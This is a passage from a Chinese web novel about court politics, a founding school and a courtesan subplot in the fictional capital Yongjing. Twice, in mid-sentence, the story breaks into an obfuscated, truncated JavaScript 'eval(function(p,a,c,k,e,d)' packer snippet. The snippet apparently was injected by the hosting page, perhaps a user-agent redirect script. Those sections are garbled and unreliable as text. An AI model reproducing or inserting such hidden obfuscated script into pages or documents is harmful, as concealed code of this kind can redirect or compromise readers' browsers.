尹徵没叫他,给他压了一下被子。其实,他想要问赵毓的是:满雍京都知道,崔珩,只有一个表弟,就是,—— 承怡,原祈王承怡。 难不成,他还有其他表弟? 尹徵记得自己对赵格非曾经说过,“当年的皇长子祈王,权倾天下,宠冠诸王!可惜,临了据说不是先帝骨血,被褫夺王爵,废为庶人。现在是生是死都不知道了。估计,这位坟头的草都有三丈高了。” 此时,车厢窗子的锦帘被掀起,崔珩在马上屈身,看了看里面,随即抬手吩咐所有人慢下来。 马车平稳的慢慢走着,像一条在宁静的河水中滑动的船。 雍王别苑。 这里尹徵去年来过,当时他同赵毓一起,像两个从乡下刚进城的傻蛋。 当时的赵毓更不堪,裹着一个破棉袍,活像跟着他蹭吃蹭喝的穷亲戚,要不是攒局的宗政文辩厚道,就他姐夫赵毓那身行头,他们两个都要遭白眼。 尹徵觉得,现在看来,有眼无珠,没见识的人,恰恰就是自己,也许,也只有自己而已。 今天到雍王温泉别苑的时辰,比那次稍微早一些,虽然不是戊正二刻,却也快日落西山。这里依旧是幽林山谷,流水潺潺,屋檐瓦舍俱是朱墙黑色琉璃瓦,昭示着主人一等亲王的尊荣。 别苑中门大开。 雍王府的大管家卫锦等候多时了,他最先看见崔珩,连忙过来牵马坠蹬,“侯爷真是稀客。我们王爷给您府邸送的请柬都装满箩了,就没见您赏过脸。今儿怎么有兴致过来一趟?” 崔珩下马,笑着说,“这些年我不是一直瞎忙嘛。王爷功课又要紧,我就想着,我这种不上进的土旮就别有事没事跑过来凑热闹了,省的打扰王爷读书,让圣上怪罪。” “侯爷真会说笑。”随即,卫锦看到尹徵,连忙见礼,“哎呦,尹部堂家的大公子。咱们第一次见,这些年您老过的可好呀!” 尹徵没见过这阵势。堂堂雍王府的大总管,皮肉笑的都像一朵盛开的菊花,平时傲到雍京城那些权贵们见了他都要矮上半头,如今冲着自己施礼,让他全身上下脊椎骨疼。他连忙恭恭敬敬的还礼,“卫公公好。” 赵毓下了马车,手中拎着崔珩送过来的一包花生糖,笑着说卫锦,“老卫不学好,专门吓唬小孩子。” “赵先生这是冤枉我。”卫锦一见他,连忙过来,将他手中的东西接过去,“奴婢让人好好伺候崔侯和尹大公子,赵先生您先跟我走,王爷等您多半天了。” 尹徵就觉得这一趟来,与上次的感觉天壤之别。 他们一进园林,就碰到了盛幼杏。 这位盛小公子是东海水师提督盛执玉的小儿子,他也是上次在雍王别苑结识的尹徵和赵毓。当时他被赵毓踢下水救人,却因为不会凫水反而被赵毓拉扯上岸。他爹虽然镇守东海,诨号‘狂蛟’,海战名将,水性也是出了名的上佳,可是他这个儿子却是个不折不扣的旱鸭子。 这不稀奇。 因为,盛幼杏从小在雍京长大,没回过祖籍,没跟从他爹在任上,没见过大海,更不会凫水。 一条不成文的惯例,已经成例七百余年了。手握重兵的‘藩镇’、将军,还有总督、提督这样的封疆大吏都有儿子居住在雍京城。这些朱门贵公子们说是被荫蔽的苗裔,自幼享受京师的千年繁华,说到根上,他们是被父祖质押在天子眼皮子底下的人质,置换‘虎符’的傀儡。 尹徵在尹明扬出征西北的时候就跟随家族回到云中,其实是极特殊的例外。 “崔侯爷,赵世叔。”盛幼杏落落大方,“我父亲前些时候进京述职,只在雍京住了两天,去拜会了崔侯爷聊了聊东海布防的事,没去赵世叔府上,请您见谅,不要埋怨他。” 赵毓则笑着说,“他有正经事情做,我有什么可埋怨的?对了,你爹身子骨还好吗?” 盛幼杏,“还是那风湿的老毛病,一直养不好,一到阴天下雨全身就疼。崔侯爷已经送了我父亲十几斤虎骨泡酒,想来能缓解个一二。” 赵毓,“老盛也是望六十的人了,平时也要多保养。” 盛幼杏,“王命所致,不敢怠慢。” 赵毓明白,他同这位盛小公子也说不出个一二三来,就连闲话家常都费力,于是把尹徵托付给他,让他们小孩子到院子里面找些好吃好喝好玩的东西,顺便看看冰封的湖水中舞榭歌台上的轻歌曼舞。 崔珩则不与这群小孩子一处玩耍,卫锦命人带着他到后面的小院子,专门派了两个小戏过来,就在他眼前给他唱几折子《西厢记》。 这一次,雍王别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵毓,“下旨申饬,不代表不亲近。王爷是圣上的家人,为了您好,陛下自然严厉一些。雍王自幼受教于陛下,有一丝一毫的过错,圣上也是下旨申饬。他受到的申饬比您还多两次。几道旨意毁不了骨肉情,王爷您,……” “老大,你真是站着说话不腰疼。”吉王一抹脸蛋子,“我同小七能比吗?他与圣上就算不是一奶同胞,也连着骨血!我呢,我只不过是他父皇的堂弟!要说,先帝活着的时候,我的日子过的舒坦,怎么到了他儿子手里,我就这么凄惨了呢?!!!” 赵毓皱了皱眉头,“王爷,先帝与圣上相比这种话,以后也不要再说了。” 吉王一下子收了声,越筝递给他一盏茶,他接过去,喝掉,润了润喉咙,这才平心静气一些的开口,“我知道圣上怎么说都会念着骨肉亲情,不会过于为难我。其实,……,我,……” 他看了看赵毓,又看了看越筝,像是狠下心,才道,“我怕的是都察院。” 吉王这才坐下,说道,“平日里,我只是一个管着皇室祭祀大典的闲散亲王,都察院根本注意不到我,可如今圣上这连着三道旨意,简直就像把我架在火堆上烧烤,我就跟我烤的那些肥猪一样,没刷酱料就皮开肉绽了。要是再不离开火架子,我马上就要祭天了。” 赵毓,“圣上合并了御史台与都察院,如今这都察院,权柄是大了一些。可是,他们言官监察弹劾百官,依旧遵循大郑国法,王爷也不用鳃鳃过虑,杞人忧天。” “拉倒吧,承怡。这天底下,哪个人禁得住查?” 吉王一晒,“不说我,你岳父老泰山的底账就干净吗?他在边境多年,别的不谈,带兵的没有不吃空饷的,只这一项就是重罪。” “还有,……” “朝廷的赋税根本维持不了这十年的边境战争。况且,西疆十六国残余的那点老弱病残,咱们也不需要勒紧裤腰带,打这十年的仗。军费消耗数千万两白银,才终于熬到了久违的安宁。如果当年不冒进,只出重兵,以围剿为辅,安抚为主,我大郑王师所向披靡,一两年完全可以控制局面。再不济顶多三年,咱们就能让他们重新俯首,心甘情愿的纳贡称臣。那时,边境一样安宁。” 赵毓平淡的说,“那种安宁是虚的。他们就像是兽,困境之中不过暂时蛰伏,等到缓过神,水草丰茂,兵强马壮之后,绝对不会善罢甘休。那时,王爷您可以在雍京城王府大院中深居简出,养尊处优,美妻娇儿享受天伦之乐。而家破人亡、妻离子散,有切肤之痛的都是远在万里之外的边境百姓。” 吉王不欲多言,却王顾左右而言他,“战事拖了这么久,最得利的人是谁,咱们心知肚明。要不怎么有句老话,大炮一打,黄金万两呢?” “赵将军,这些年你在边境做的事情,要是真掀出来,都是泼天的大案,西北几省数十位甚至上百位官员都要被牵扯进去。到时候,圣上就算再念及你们从小一起长大的骨肉情分,也未必会为了你抹平那些往事。” “圣上毕竟是皇帝。” 吉王这句未竟之言,在此的三人都懂。 帝王心术。 战乱用人之际,皇帝能忍平常所不能忍之事;一旦战事平息,兔死狗烹,鸟尽弓藏。 吉王,“有些事情,还是不要掀到台面上来,这样对大家都好。” 冰湖旁。 宗政文辩见到老友,前去打招呼。 尹徵得空问盛幼杏说,“随侯和徐总督很交好吗?他们的公子倒像是亲兄弟一般。” “随侯和徐总督?”盛幼杏,“他们是仇敌。” 尹徵,“……” 盛幼杏,“随侯祖上七代人镇守北镜,这一百年来,他们石家死在北境的直系男丁就有二十几位,家庙中的牌位也是一层叠一层的。大郑三十二侯府,哪一家世袭的尊荣不是几代人用命换来的?可,自从随侯被徐总督在北境缴了虎符换了防,他堂堂随侯公子必须得对一个刚从南方过来的傻小子笑逐颜开。” 尹徵,“我还以为这群王孙公子们矜持一些,没想到和我们俗人一样,看到谁正得势,也去巴结。” 盛幼杏自小在雍京城长大,对这样的人,这样的事很熟悉,“越是他们,对这样的事越要机敏。不然,大郑一千二百年的国祚,功勋卓著列土封疆的名臣们不知凡几,有数百年大运的家族不过眼前这些呢?” 他们正说话,卫锦来了,他说赵毓找他过去,尹徵不耽搁,与盛幼杏道了别,就跟着卫锦绕过冰湖,上了山上的暖阁。 吉王已走。 这里只有赵毓,和,…… 尹徵一进来,就看见赵毓撕开油纸包,拿出花生糖,递了一块给雍王,“这是老崔的手艺,你尝尝。” “难得。” 越筝接过去,放嘴里嚼了,“我小时候崔侯倒总是做这种糖给我吃,这是怡哥哥的面子。不然,宁淮侯这位眼高于顶的天子重臣,何曾把我放在眼中?” 赵毓不接这个话茬,扭头看到尹徵,招呼他进去,说,“桂宝儿,今天我带你来,其实想介绍个人给你。” 说着,他指着雍王,“我在雍京城还是有一些亲朋故人的,这位就是。” 尹徵看着越筝,越筝也看着他。 随后,尹徵很规矩的行了礼,“殿下。” “真见外。”越筝嗤笑一声,又嚼了一块花生糖。 赵毓抓了抓头发,说,“那个,……,桂宝儿,你今年十八,越筝呢,比你大一岁。所以呢,以后你们见面,私底下称呼七哥就好。” 尹徵,“七……,七哥?” “嗯。”越筝点头,“一直都是我最小,如今我也是哥哥了。桂宝儿是吧,给你个红包,开春买糖吃。” 说完,他递过来一个红色缂丝荷包,里面装满了小金元宝。 尹徵晕乎乎的接过去,满手的黄金也没有让他更清醒一些。他此时想的不是为什么忽然之间会称呼高高在上的雍王为七哥。 可,…… 六哥。 他究竟是谁? …… !!!!!!!!!!!!!!! 108. 108 108 回程。 已经深夜。 赵毓和尹徵坐在马车上,崔珩照例独自骑马。还没走出五里路,他就觉得冷,于是弃马登车。 三个人在车厢中对视,都觉无聊,崔珩提议,“打叶子牌。” “筹码呢?”赵毓问。 崔珩看了看尹徵捧了满手的缂丝荷包,还没等尹徵双手奉上,就被赵毓拦了回去,“别打小孩子红包的主意。” 崔珩寻思了一下,又说,“贴纸条好了。” 于是,他从旁边的小书柜中抽出来一叠子嵌了金箔的纸笺,撕成一沓子细纸条。三个人拿着叶子牌,一圈一圈打起来,不一会儿,尹徵的脸蛋子上贴满了纸条,活像一只被抓鬼天师用符纸镇住的还魂尸。 这一把牌,崔珩实在狠不下心继续赢,他伸着脖子看了看尹徵手中的牌,转回头问赵毓,“承怡,你小舅子是不是傻?” “他一上手就是三个万,两个筒,还有几张花。如果他想要拆一下,搏个赢面,能等到一条龙,赢咱们十八番没有问题。如果不想搏个大的,把那几张花打出来,剩下的等咱们慢慢放几张牌出来,他也能凑成个赢面,不大不小,也是三四番。再不济,慢慢凑,等个屁和也可以。可他这样随便乱打,毫无章法,毫无算计,完全就是靠天吃饭。这样的打法要是能赢,老天爷真是不开眼了。” 末了,他还贬损尹徵。 “桂宝儿,你这云中的纨绔贵公子,连个叶子牌都斗不过,那你们平时都消遣什么?不会真是传闻中那种搂着花娘骑马过闹市吧?” 尹徵,“……” 还真是,让,……,崔侯说中了。 于是,他那张脸在纸条后显得一道红,一道青,一道白。 赵毓掀起帘子看了看外面,雍京城高大粗粝,传说中建造在鲜血与黑铁之上的城墙在皓月下、夜色中若隐若现。 他抬手把尹徵脸上的纸条都扯了。 “我们先送你回去。老爷最近心绪乱,又没别的事情做,所以对你的学业督的紧了一些。这样虽然能收一时的成效,却无法长久。你想不想到外面读读书?” “我?”尹徵用袖子蘸茶水,把脸上的痕迹又擦了擦,“想。” 赵毓,“我表哥崔珩你也认识了,他做你的先生,怎么样?” 尹徵,“……” 崔珩,“啥!!!!” 他正在吃一块榛子荞麦酥糕。 这玩意儿本来就又酥又干,崔珩本来想着吞下之后再喝茶水顺顺,没想到赵毓突然一句话,让他嗓子眼一紧,半块榛子荞麦酥糕直接糊在咽喉处,犹如禁宫中暗自处决人犯用的“蘸水贴纸加官”酷刑。 好悬一口气上不来,堂堂宁淮侯直接去见了阎王老爷。 到了尹府,崔珩还在咳嗽。 他们把尹徵全须全影的送了进去,从尹府回来这一路,喝了半壶水才缓过劲的崔珩一直心有余悸。 “承怡,你说,要是我今天真去丰都鬼城,那十殿阎罗见了我,一翻开我前半生的生死簿,发现我是个难得的大善人,又死的如此不名誉,随后一念之仁,让我留下做鬼差可怎么办?” “那不挺好。”赵毓则说,“跳出六道轮回,你也算得道。” “不好,大大的不好。”崔珩喝着赵毓泡的茶水,又抱怨,“我上好的单纵茶,让你泡的比那些便宜馆子卖的高末还不如,当真是暴殄天物。” 嘴上这么说,他还是老老实实的把茶水喝完,“不入轮回固然能躲开修罗畜生道,可是,也会彻底与人道无缘了。” 赵毓,“人活一世如此辛苦,这一辈子就足够了。” 不。 不够。 崔珩继续吃榛子荞麦酥糕,不再说话。——我心底有一个人,我可以为他生,为他死,可惜,今生无缘,如果有来世,…… “承怡,吉王找你什么事?” “咦?”赵毓稀奇,“你怎么知道是他?” “我自然知道。”崔珩道,“你以为我为什么要跟着你去雍王别苑。你当我喜欢见到越筝那头小狼崽子吗?” 赵毓,“别总叫人家狼崽子。” “那是啥?”崔珩,“先帝哪里都好,就是生的儿子们不好。一个一个的,不是王八羔子就是狼崽子。唯一一个稍微不错一点的,还被他给折腾到山上长伴青灯古佛去了,每天只能吃些萝卜白菜,半死不活的熬日子。” 赵毓也不喜欢多谈这个话题,他说,“吉王说圣上暗示都察院,对他进行罗织陷害。” 崔珩冷笑,“他的那些事,真翻出来,还用得着都察院罗织?” 赵毓,“吉王做了什么事?” “你今夜回大正宫吗?”崔珩不回答,反而发问。 “嗯。”赵毓点头。 崔珩,“问他呗。” 赵毓没说话。 崔珩,“怎么?” 赵毓既不想说文湛对吉王的看法,也不想继续询问崔珩他所知道吉王的过错甚或是罪过,他想了想,则说,“老崔,我想办个学堂。” “嗯。”崔珩不觉得意外。 赵毓,“总是抓着你教,也不是长久之计。你毕竟有王命在身,不能总是无所事事,当真教黄槿他们读几年,甚至十几年的书。” “今天一早我去了南城,做完事情之后我去了一趟留园,地契全在那。我发现自己南城有一个空置的院子,不小,之前的主人是一户落魄的书生,科举屡试不第之后就教书为生。他的儿子后来在河道上谋了个幕府的差事,他就卖了宅子跟随儿子南下了。那里什么都有,就是有些破旧,我想着修整一下就可以使用。” “暂时还没有先生,我得去寻寻,看看有没有人愿意过来。” “学生就收愿意读书的孩子,不论出身,不拒平民,不收束脩,再管一顿午饭。” “有些贫苦家的孩子们,长到板凳一样高的时候就是壮劳力,家里让他们读书,即使不出钱其实也是亏的,自然不愿意让他们过来读书。我让这样的孩子在我这里吃一顿饭,走的时候再拿些窝头咸菜什么的回去,这样,他们来读书不但给家里省了一顿,还能拿些什么回去,爹娘自然也愿意送过来了。” 崔珩,“学堂要挂招牌吗?” 赵毓,“雍南公学。” 崔珩,“什么典故?” 赵毓,“雍京南城公共大学堂。” 崔珩听着有些耳熟,他翻了翻自己的记忆,忽然说,“南城林堂街那里的‘雍南公澡’是个啥?” 赵毓,“雍京南城公共大澡堂。” 崔珩,“呃,……” 赵毓,“那是我的买卖,就在‘雍南公学’对面。挨得近,生意做好了,也好补贴补贴。” 崔珩,“我给你写个匾?” 赵毓摇摇头。 崔珩,“我知道你有写字好的人,我就凑个热闹。” “不是。”赵毓说,“文湛也不能写,这一次我自己写。” 崔珩,“怎么?” “既然是‘不拒平民’的学堂,就不能用帝王将相的字。”赵毓,“我是草民,这一次’雍南公学’匾额,我自己写。” 一个开始。 像一把孤独却锋利的锥。 希望可以钻开这些看不见却坚硬无比的壁垒。 回到宫里,文湛还没睡。黄枞菖早已经把赵格非接了回来,直接送回到太贵妃那里。寝宫的小厨房的灶上滚着人参鸡汤。 软榻上摆着木案,上面铺着皇帝用朱砂写好的字帖。 写字? ——妈呀,最讨厌写字了。 立刻。 赵毓将自己许诺要与文湛习字的事全部吃到狗肚子里。 “陛下,既然您已经枉担着后宫三千的虚名,草民就不能再让您空耗光阴。”赵毓说着,去扯文湛的袖子,“有道是春宵一刻值千金,如此良辰美景,只我一人枯坐写字,实在大煞风景。不如就让草民学父皇的妾妃那般侍寝如何?” 文湛拒绝,“不好。” 赵毓撒泼耍赖,手段用尽,居然满地打滚,最后还是被文湛从地面捞起来,径自圈在软榻上,右手塞入一管狼毫。 而。 包裹他右手的是文湛的手掌。 “这几天不能胡闹,你身子骨要紧。”皇帝坐在他身后,声音就在赵毓的耳朵尖旁边,酥酥的,“这一次,不能再像之前那样,闹成虚症。长久下去,对你不好。” “今天你有些累,只描一张就好。” “承怡。” “呃?”赵毓的右手顺着文湛的力度,不紧不慢的起笔。 皇帝手腕的力度并没有赵毓之前想象的那种犹如秦王扫六合一般的破军之势,而是宽广柔和,拥有镇住广袤山河的力量,犹如他治下的太平盛世。 文湛说,“事情总要有一个开始。” 有开始,就有希望。 今天一早,赵毓送闺女到谢家读书,随后去尹家接尹徵,没想,还没走到尹府就被薛宣平拦截,径自扯去南城。 “我本来想着罗金梁的事缓两天再做。”大冷天,薛宣平跑的一身汗,他用袖子抹了抹额头,“怎么也得等你们把罗小草过继的事情做瓷实了再说。还有,这个家伙在顺天府的牢里多待几天,让牢狱之神把他身上那股子衰败倒霉之气退一退,省的他出来之后尽祸害家人。没想到,顺天府提前过堂,要把他充军。” 赵毓,“我们能做什么?” 薛宣平,“玉芳。” 赵毓,“她?” 薛宣平,“那个女人是良籍,不是何府的妾,她在顺天府还有黄册,不难查。只有她去顺天府作证,罗金梁才不会被定’拐带何府逃妾’的罪名。” 夕照后街。 娼门林立。 赵毓不是第一次来,却是第一次仔细看。 晌午的日头杀灭了夜里的浮华,显出的却不是一种脂残粉褪的破败,竟然有一种诡异的、安宁的人间烟火气。院门洞开的缝隙中,可以看见门户中,婆子老妈子端着洗好的衣物挂在院子中的麻绳上。小孩子跑来跑去,甚至还有一些繁琐嘈杂的吵架声音。如果是不熟知这里门道的人,初到此处,定然以为这条街不是花街柳巷,反而是一条正经的巷子,只不过居住在这里居民都是贩夫走卒之辈,引车卖浆之流。 大郑礼法如此森严。人们做夫妻都是父母之命媒妁之言,举案齐眉已经是少有的幸事,想要琴瑟和鸣,则是荒唐的妄想,甚至,连想一想也是罪。 礼法容不下一段“山无棱天地合,乃敢与君绝”的爱情,这里有太多的变数,过于耀眼的人性,在礼教中没有任何容身之地。 普通人连活下去都很吃力,成家不过是想要搭伙过日子,生儿育女,以后老了有个倚靠。手中有些余钱的男人,自然可以出来找红粉知己,在礼教之外喘口气。夕照后街这里的女人没有书寓那边的昂贵,却比家中的“黄脸婆”柔情小意,自然是南城这里,手中有点余钱,又不能挥霍的男人的温柔乡。 玉芳的院门打开,小丫头出门买烤烟丝。赵毓看着眼前这个女人,斜垂着发髻,挽着木钗,脸上留着岁月的痕迹,却显得出温润的气息。 “呦,正主来了。”玉芳倚在门边,“上次见到这位薛老爷领着罗金梁过来,我就知道有人要拿我作伐。” 赵毓没说话。 玉芳让开门,对他与薛宣平说,“喝盏茶?” 屋子很干净,赵毓坐下说了来意,“姑娘去一趟衙门,把罗金梁保出来,条件随便你开。” 玉芳,“我可不想得罪何家。您不在南城,在这寻个乐子就走了。我们还要在这里讨生活,开罪何家,除非我不想活了。” 赵毓,“何家的事,我来处置。” 玉芳笑了几声,“如果我就想看着他死呢?” 赵毓,“虽然时过境迁,还请姑娘看在往日的情分上,帮他一帮。” 此时,出门买烤烟丝的小丫头回来了,把烟丝放在盒子里面,又去倒茶。她端了一个木盘,两个普通品相的青花瓷盏,里面放着茉莉云环。赵毓端起来一盏茶,喝了一口,茶叶也是正经不错的东西,只不过是去年的陈茶。 “往日的情分?” 玉芳仔细看着赵毓,不知道怎么了,今天她特别想说话。 “当年我让他带我走,我还想把身子给他,他不敢,我们的情分就断了。” “再说,我又不是远走他乡,这些年我就住在雍京城,离我们北村并不远,快了两天、慢了三天的路。他但凡想要找我,没个找不到的。可我等了这么多年,没人记得我,所以,留着的那点情分,也磨光了,全没了。” 薛宣平有些着急,拿茶盏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵毓扯住她,从地上拉起来,“不必。姑娘去把罗金梁捞出来,我去摆平何家,绝对不会让您有后顾之忧。” …… 不知觉当中,赵毓描了一张字帖。虽然他右手握笔写字依然如同后妈养的一般,个个都像小白菜,可是风骨却架起来了。 如果说左相楚蔷生的字有万仞千峰一般,文湛的字就如同赵毓曾经卖过的战争债票的名字,——永镇山川。 赵毓怔怔的看了看自己的右手,——它们也能写字吗? 放下毛笔,他的手指上沾染了墨,文湛让人端了水沾湿丝巾,给他小心擦擦。赵毓低头看着他擦,皇帝的手指如同极上等的羊脂玉,捏着丝巾,带着和润的温度。 文湛没有抬头,却问,“一直看着我,怎么了?” 赵毓,“如果你是哥哥,一定做的比我好。” 文湛亲了他一下。 这个亲吻如同烈火焚烤的铁,直接烙下。 虽然。 只是在赵毓的脸颊上。 玉芳是个爽快人,这边刚答应了赵毓,等隔天,她自己去了一趟顺天府喊冤。 幕府一个姓李的师爷是她多少年的老相好。她找他出来,连哄再骗,外加威胁,最后又加了几滴眼泪,这才让这位师爷非常勉为其难的去向顺天府尹游说。 “大人,姓罗的这个人,咱们当真是抓错了。他和那个女人从小一起长大,是同乡,而且那个女人是良籍,根本不是何家的逃妾。罗金梁就是北村一个农人,家中有几亩田地也都输干净了,以后也不会有多大油水。现如今有苦主来喊冤,要是扒着不放手,怕引起舆情。大人可就在雍京城,天子脚下,丁点小事也可能聚成大祸。如今皇上刚刚合并了御史台和都察院,摆明了要整饬吏治,大人可不能在这个时候去撞刀口。” 顺天府尹姓刘,虽然是老油条,却是新官上任,想要烧三把火革除旧弊的劲头正旺。他同那个南城何家还没什么交情,当然不会为了何家给自己惹事。于是,李师爷一说,府尹大人就听,还不住点头,直接让人把罗金梁给放了。 今天倒春寒,又飘荡了点雪花。罗金梁一出大牢,就看见眼前停着一辆小马车,车厢上盖着旧毡子,玉芳从车上下来,手中抱着一个手炉,虽然也是旧的,却是正宗珐琅彩。玉芳儿子秦冀还是一身小丫头的装扮,拎着一个布包,里面是几个烧饼并着一个瓦罐,装着卤煮,递给他。 罗金梁有一种想哭的冲动,于是搂着卤煮罐子就想要抱玉芳,女子笑着躲开。 “玉芳,我爹已经去了,你跟我回去,我回去就休了家里那个黄脸婆,我,……” “罗大爷,您可别误会。”此时,玉芳捧着手炉靠在马车上,“我当时说咱们还有旧情在,只不过想在您身上捞点好处。我就这点想法,还真没别的意思。这卤煮和烧饼,算是同乡情谊,您带到路上吃。从雍京南城回北村,人走快了要两天,慢了,四天怎么也到了,要是天下掉馅饼,您能找到一头驴,那骑着走一天也就到了。您吃饱了,就上路吧。以后,您走您的阳关道,我过我的独木桥,不用再见了。” 雍京距北村不远,真的不远,快了一两天,慢了三四天,怎么都能走到。 可是。 却似乎隔着前世今生。 那里就是她的前世。 玉芳望着飘雪的雍京天空,看到了幻象: 一个用红头绳扎头发的乡下丫头,会种瓜,会割草,会织粗布,会烧饭,会自己绣嫁衣,期待着邻家的罗哥哥向自己爹提亲。她从没有奢望富贵,只希望可以像祖祖辈辈那样,本本分分,勤勤俭俭,孝敬公婆,为罗家开枝散叶。又因为不远嫁,她甚至可以时常回去看看爹娘,照看弟弟。 忽然一阵风。 天空的雪花打着旋,一下子就散了。 玉芳眼前的幻象也散了。 不知怎么的,她觉得自己在奈何桥上走了一趟,于是再也不多看罗金梁一眼,让儿子搬了凳子垫在脚下,她踏着上马车。 秦冀也上来,挥了一下马鞭。 老马像个蹒跚的老人,拉着这辆破旧的马车,一步一步向夕照后街走去,车轱辘一圈一圈的转着,似乎村东头那条河,永远流淌,永不停息。 109. 109 109 赵毓让人带着礼金去城南望族何家,问问他们是否可以对于玉芳高抬贵手。 何家不肯为玉芳废了规矩,他们怕饶过这件事,以后别人有样学样,南城就不好管了,可是,何家又舍不得赵毓送上门的银钱,于是,何家当家的那位二奶奶喝完一盏茶,立马就知道该怎么做了。她让大管家带着名刺,带着礼金到顺天府,不但要把玉芳打到永不超生,甚至还要把赵毓卷进来,想要来个彻底的坚清壁野。 赵毓还以为整个春天都要与何家在顺天府耗上了,没想到顺天府尹刘同珝大人此时正在烧三把火,他一见何家的礼金脑门上直冲一把邪火,不但将何家的礼金扣押充公,还把何府大管家打了十板子,让人给抬了回去。 这下子何家彻底老实了。 赵毓知道,他同何家这梁子,估计也彻底结瓷实了。 “你惹的都是一堆什么鸟人?” 崔珩喝茶吃点心,甚是不以为然。如今这位宁淮侯做先生颇为认真,他把身上那套王侯锦袍扒了下去,直接换上文人雅士的素色长衫,再加上他那张脸蛋子正经生的不差,粗略看上去,颇有些书生温文尔雅的气息。 ——活见鬼! 前一段,他卖力讲完《二十一史弹词》中的第一段,学生们实在承受不了这种课业强度,只能放温书假修整一下,崔珩得空准备下一段的课,竟然也是难得手中捧着一本书,翻看。只是他看书极快,说一目十行都是谦辞,任何书页只要瞄一眼就记住个大概。所以他看书的时候,书页哗啦啦的翻动的山响,像极了目不识丁的孙猴子,刚从花果山到人间,沐浴之后换上人的衣冠,正在学读书人乱翻书。 啪,书本让他翻动的断了线,一页写着弹词的纸掉了下来。 携酒上吟亭,满目江山列画屏。 赚得英雄头似雪。 功名。 虎啸龙吟几战争。 赵毓弯腰给他拾起来,看了看,“这词写的不错呀。” 崔珩将书页拿过去,从书案上挖了浆糊随便粘了粘,“后半段写的更好。天下读书人自小启蒙都是这个,也没见多少当真读到心里去了。” 赵毓又看了看后面的一半词: 一枕梦魂惊,落叶西风别换声。 谁弱谁强都罢手。 伤情。 打入渔樵话里听。 ——当真好。 赵毓,“你怎么最近变得这么愤世嫉俗?” 崔珩,“既然要装先生,就要装的像一些。看我,此时多像一个郁郁不得志,自以为身怀大才却没有明主三顾茅庐的穷书生?所以说,我很讨厌那些酸文假醋,远看近看都是一股蜀中老泡菜的味道。哦,说起来,上次给你看不孕不育之症的苗家老军医回老家了,还托人给我捎了两坛子盐菜,还给你捎了些苗疆产的草药,你回去的时候抗一坛子盐菜走,熬点羊肉,放些草药,吃着大补。” 赵毓,“……” 还补? 他现在一肚子火出不来,再补真要挠墙了。 于是,赵毓不接茬,低头在草纸上写写算算。等崔珩翻完了一本书,他才说,“吉王的封地是祖产,在我手中着实烫手。要是我白给他,毁了行规,别人的地契压在我手里也不少,这让我以后生意难做。可要是市价卖给他,他现在又买不起。索性,我就比照放贷的模子,把他那些地契当成银子贷给他,然后每年收些成本,就不要他的利息了。现在的行市是,每年利息二成,五年连本带息归还,我给他拖长一些,到三十年好了。这些上好的水浇地都是皇族田庄,根本不用缴朝廷的税赋,他要是继续踏踏实实的让佃户种田,不出十年,也就缓上来了。” 崔珩挑了一下眉,没接茬。——不用这么麻烦,不定什么时候,这些田土就成了逆产。 今上书卷气极重,说话细声慢语,虽然一言九鼎,却绝不如金声玉振一般振聋发聩。他说话不但极斯文,而且很轻,似乎声音高一些就会把他累死。平日君前奏对,能进微音殿的重臣们都要凝神静气,伸着耳朵用力倾听,就怕自己一不留声会错了意。 可谁要是真把今上当手无缚鸡之力的弱鸡书生看,谁就倒了八百辈子的邪霉。这位生于深宫之中,长于妇人之手的帝王,外人看着苍白,似乎拍扁了可以直接挂入太庙,事实上杀伐决断绝不逊色于功业彪炳史册的先帝。也许,更出色。 崔珩,“承怡,老梁昨天上我这里儿来,给我带了一篓子自己做的腌肉。” 赵毓,“哪个老梁?” 崔珩,“北镇抚司的梁十一。” 最近一段时日,崔珩与北镇抚司协同调查西疆余孽的事,正事是否有大进展不说,崔珩与梁十一的私交到进展的不错。 刚认识的时候,崔珩嫌弃梁十一傻。当然,宁淮侯是先帝密探出身,看谁都傻,不过他们相处一段之后,崔珩发现老梁这个家伙不但有些傻,还有些憨,核子里面却还有着几乎不会变色的忠肝义胆。 以至于,虽然老梁作为北镇府司的指挥使差强崔珩的意,做朋友倒是当真不错。 赵毓,“他找你做什么?” 崔珩,“向我求个人情。” 赵毓,“他是天子近臣,雍京城多的是人上赶着去巴结,他躲还来不及,怎么还会有事情求人?” 崔珩,“他不是收养了那个西疆遗孤,叫什么三傻的那个?” 赵毓,“珊依。” 崔珩,“别管叫啥,就是她。老梁想要把她送你那里读书。我想着,反正你那里歪瓜裂枣收了不少,多一个西疆遗孤,也不算惊世骇俗。” 赵毓,“老梁怎么不直接和我说?他又不是不认识我?” 崔珩,“他说,你最近火气大,他有些怵。” 赵毓,“……” 崔珩指了指旁边小木桌上的翡翠小瓶,“临走,你把它也揣走。那是苗疆的好物,回去不用霸王硬上弓也能把那个狼崽子办了。” 赵毓,“……” 雍南公学悄悄开张,没有挂招牌,因为赵毓如今的字实在拿不出手。不过他却比照着谢氏私塾的样子,给孩子们订了饭碗。赵毓没有那个面子去找“吴中四王”给画碗上的画,也请不来书法大家为学生们写名字,他所能做的,只是重上空镜山,找了前宁王摇光化缘粗陶钵盂。 “老二。”赵毓指着皇家寺院中吃斋用的钵盂,“孩子们还小,饭量不大,所以呢,你要烧造的钵盂比我们用的这个要小上一圈。呃,算了,俗话说,半大小子吃穷老子,这些小家伙长得快,吃得多,你还是按照这个大小烧吧,呃,不对,要烧造的再大一圈。咱们公学,别的不敢说,饭菜管饱。” “还有,这些孩子大多是儒家子弟,所以呢,这个钵盂上不能再刻什么一切有为法,如梦亦如电了,也不要诸恶莫作,众善奉行,自净其意,是诸佛教。我觉得呢,你应该翻一翻《论语》,看看孔夫子说过的话,挑拣一些朗朗上口的刻上去。比如,食不厌精,脍不厌细,唯酒无量,这句就不错。” “你觉得呢?” …… 